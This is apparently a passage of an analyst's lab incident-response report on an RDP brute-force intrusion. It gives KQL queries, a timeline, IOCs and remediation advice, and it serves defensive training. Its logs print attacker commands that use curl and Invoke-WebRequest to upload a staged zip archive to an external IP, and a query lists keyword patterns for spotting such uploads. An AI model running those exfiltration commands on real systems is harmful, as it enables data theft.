> Sep 16, 2025 2:42:26 PM	powershell.exe	powershell.exe	(*) 185.92.220.87	8081	Tcp
> Sep 16, 2025 2:43:42 PM	curl.exe	curl -X POST -F "file=@C:\Users\SLflare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload	(*) 185.92.220.87	8081	Tcp

```

// Process command lines (shows upload)
DeviceProcessEvents
| where Timestamp between (datetime(2025-09-16 00:00:00) .. datetime(2025-09-16 23:59:59))
| where AccountName in~ ("slflare","misawa")

```

```

| where ProcessCommandLine has_any ("curl -X POST","Invoke-WebRequest","-F
\"file=@","-InFile","/api/upload")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| order by Timestamp asc

```

Timestamp	DeviceName	AccountName	FileName	ProcessCommandLine
Sep 16, 2025 2:43:... 00:01.382	slflarewinsysmo	slflare	cmd.exe	"cmd.exe" /c curl -X POST -F "file=@C:\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload
Sep 16, 2025 2:43:... 00:01.382	slflarewinsysmo	slflare	curl.exe	curl -X POST -F "file=@C:\Users\SLFlare\AppData\Local\Temp\backup_sync.zip" http://185.92.220.87:8081/upload
Sep 16, 2025 2:43:... 00:01.382	slflarewinsysmo	slflare	powershell.exe	powershell -Command "Invoke-WebRequest -Uri 'http://185.92.220.87:8081/api/upload' -Method POST -InFile 'C:\Users\SLFlare\AppData\Local\Temp\backup_sync.zip'"

2. Investigation Summary

What Happened:

An attacker brute-forced RDP credentials for account `slflare` from IP `159.26.106.84`. They executed `msupdate.exe` with a malicious PowerShell script, established persistence via

scheduled task `MicrosoftUpdateSync`, performed host discovery (`systeminfo`), collected local data, archived it into `backup_sync.zip`, and exfiltrated it via HTTP POST to `185.92.220.87`.

Attack Timeline:

- **Started:** 2025-09-16 01:40 (UTC)
 - **Ended:** 2025-09-16 02:46 (UTC)
 - **Duration:** ~1 hour 6 minutes
 - **Impact Level:** Medium (full interactive control, persistence, and data exfiltration)
-

3. Who / What / When / Where / Why / How

Who:

- Attacker: 159.26.106.84
- Victim Accounts: slflare, misawa
- Affected System: thseptbruce1 (Windows 11 VM)
- Impact on Users: Unauthorized access, persistence, exfiltration

What:

- Attack Type: RDP credential brute force → valid account compromise
- Malicious Activities: Executed `msupdate.exe`, discovery, credential collection, persistence, exfiltration

When:

- First Malicious Activity: 2025-09-16 01:40 (UTC)
- Last Observed Activity: 2025-09-16 02:46 (UTC)

- Detection Time: TBD
- Total Attack Duration: ~1 hour 6 minutes
- Is it still active? No

Where:

- Target System: thseptbruce1
- Attack Origin: Remote IP 159.26.106.84
- Network Segment: Cloud VM environment

Why:

- Likely Motive: Establish foothold, stage exfiltration, possible follow-on access

How:

- Initial Access Method: Brute-force RDP (valid account `sflare`)
 - Tools/Techniques: `msupdate.exe`, PowerShell, curl, Invoke-WebRequest
 - Persistence Method: Scheduled Task — MicrosoftUpdateSync
 - Data Collection: Shadow copies, local files, discovery commands
 - Communication Method: HTTP POST to 185.92.220.87
-

Analyst Workflow

From an investigative standpoint, the workflow progressed as follows:

- **Authentication Review** – Investigated failed logons. Confirmed brute force attempts followed by a successful RDP login from an external IP.

- **Process and Execution Check** – Reviewed process tree. Identified suspicious binary executed after login, which then spawned PowerShell scripts for payload execution.
 - **Persistence and Evasion Review** – Validated changes to Defender settings with folder exclusions. Found a scheduled task created by the attacker to maintain access across reboots.
 - **Recon and Network Analysis** – Traced attacker commands used for host discovery including system enumeration. Observed outbound network traffic to external command and control infrastructure.
 - **Exfiltration Review** – Detected creation of a staged data archive. Correlated with outbound traffic showing an exfiltration attempt to external IP and port.
-

4. Recommendations

Immediate Actions:

- Isolate VM `thseptbruce1`
- Disable/Delete scheduled task `MicrosoftUpdateSync`
- Quarantine `msupdate.exe` and collect `update_check.ps1`
- Reset credentials for `slflare` and `misawa`
- Block attacker IP 159.26.106.84 and exfil IP 185.92.220.87

Short-term (1–30 days):

- Reimage VM, validate persistence removal

- Apply MFA on RDP logins
- Restrict RDP to known IPs
- Enable deeper command-line auditing

Long-term:

- Harden RDP access using bastion host / gateway
- Expand anomaly detection rules in Sentinel for brute force, suspicious task creation, exfil events
- Conduct user training on credential hygiene

Detection Improvements:

- Sentinel alert: multiple RDP failures followed by success
 - Alert on execution of binaries from `C:\Users\Public` or `Downloads`
 - Alert on scheduled task creation with suspicious names
 - Alert on creation of archives in Temp followed by external uploads
-

Hypothetical Outreach Note

To: Organization Security Team

Cc: Affected User (`slflare`), VM Owner

From: Incident Response (Bruce Thornton)

Date: 2025-09-21

Subject: Incident Containment — RDP Compromise on VM `thseptbruce1`

What we found (high level)

On 2025-09-16 an external actor (source IP 159.26.106.84) gained interactive RDP access to a cloud VM (`thseptbruce1`, host `slflarewinsysmo`) using the account `slflare`. The

attacker executed a dropped binary (`msupdate.exe`) that launched a PowerShell script, created persistence via a scheduled task (`MicrosoftUpdateSync`), contacted a remote server (`185.92.220.87`), and attempted to upload a staged archive (`backup_sync.zip`) to `185.92.220.87:8081`.

Following our investigation of the incident on `thseptbruce1`, we identified the following key findings:

- External attacker IP: `159.26.106.84`
- Compromised account: `slflare`
- Malicious execution: `msupdate.exe` (PowerShell payload)
- Persistence mechanism: Scheduled Task (`MicrosoftUpdateSync`)
- C2/exfiltration: `185.92.220.87:8081`

We have already contained the VM in the lab environment and preserved evidence.

Recommendations shared with the organization and affected user:

1. Reset and secure credentials for the `slflare` account; enforce MFA.
2. Remove persistence (`MicrosoftUpdateSync`) and quarantine malicious files.
3. Block attacker IPs/domains across the network perimeter.
4. Reimage or rebuild the affected VM to ensure full remediation.
5. Perform organization-wide hunting for IOCs (`msupdate.exe`, `update_check.ps1`, `backup_sync.zip`).
6. Harden RDP access (restrict exposure, require MFA, monitor for brute force attempts).

We have passed these recommendations to IT operations and the affected account owner. Coordination for remediation, re-imaging, and follow-up forensics is ongoing.

— Bruce Thornton, Incident Response Analyst

Hypothetical Executive Summary Outreach Communication — Incident Report (RDP Compromise)

Date of Incident: September 14–16, 2025

Analyst: Bruce Thornton

Systems Affected: Cloud-hosted Windows VM (*thseptbruce1 / slflarewinsysmo*)

Compromised Account: **slflare**

What Happened

An external attacker from IP address 159.26.106.84 gained remote access to our cloud-hosted Windows VM by successfully logging in with stolen account credentials. After gaining access, the attacker ran a malicious program (**msupdate.exe**) and a PowerShell script to begin taking control of the system.

They then created a scheduled task called MicrosoftUpdateSync to ensure they could return later, even after reboots. The attacker used discovery commands (such as **systeminfo**) to gather details about the machine, packaged data into a file called **backup_sync.zip**, and attempted to send it to their external command-and-control server (185.92.220.87:8081).

Key Findings

- Initial Access: Brute-force login via RDP using account **slflare**

- **Malicious Activity:** Execution of `msupdate.exe` with PowerShell script `update_check.ps1`
 - **Persistence:** Scheduled task `MicrosoftUpdateSync` created to maintain access
 - **C2 Infrastructure:** Outbound traffic to 185.92.220.87 (ports 80, 8081)
 - **Exfiltration Attempt:** Archive `backup_sync.zip` staged and upload attempted to attacker's server
-

Impact

- Attacker had full interactive access to the VM.
 - Attempted to exfiltrate data externally.
 - Persistence established, meaning they could return if the system were not remediated.
 - Broader organizational risk if similar accounts or systems are exposed.
-

Recommendations

Immediate Actions:

- Isolate or rebuild the VM (`thseptbruce1`).
- Remove scheduled task `MicrosoftUpdateSync`.
- Quarantine malicious files (`msupdate.exe`, `update_check.ps1`).
- Reset and secure account `s1flare` (apply MFA).
- Block external IP 159.26.106.84 and 185.92.220.87 at firewalls/proxies.

Short Term (30 days):

- Audit for other accounts or systems with RDP exposure.
- Implement network rules to limit RDP access to known IPs.
- Enable additional logging and monitoring for suspicious command execution.

Long Term:

- Require MFA for all remote access.
- Route RDP access through a hardened jump host/bastion service.
- Strengthen detection rules to flag brute-force attempts, persistence creation, and suspicious file uploads.



Bottom Line:

The attacker successfully compromised one VM using RDP, gained persistence, and attempted data theft. While the activity was contained in the lab, in a real-world setting this could have resulted in significant data loss. The identified IOCs (IPs, binaries, scheduled tasks) should be blocked and monitored across the environment immediately.

— Bruce Thornton, Incident Response Analyst

5. Lessons Learned

This investigation provided a full end-to-end view of how attackers operate once they gain access to a system. Starting with brute-force entry through RDP, the chain of activity demonstrated how quickly an intruder can escalate from login to persistence, reconnaissance,

data staging, and exfiltration. Each step in the intrusion aligned with MITRE ATT&CK techniques, reinforcing the value of structured frameworks for mapping adversary behavior.

From an analyst perspective, this exercise strengthened familiarity with Microsoft Defender for Endpoint (MDE), Microsoft Sentinel, and KQL hunting queries. Building queries, correlating evidence across logon, process, file, registry, and network telemetry, and documenting results in a clear report all mirrored the workflow of a real SOC investigation. The experience also emphasized the importance of capturing both technical evidence (screenshots, queries, IOCs) and high-level communication (executive summary, recommendations, outreach notes).

In practice, this highlights the need for continuous detection improvements — especially around brute-force attempts, execution of binaries from unusual locations, scheduled task creation, and outbound exfiltration. Applying these insights helps ensure SOC teams can respond quickly, contain threats effectively, and communicate findings in a way that supports both technical remediation and leadership decision-making.

Report Status: In Progress

Next Review: _____

Distribution: Cyber Range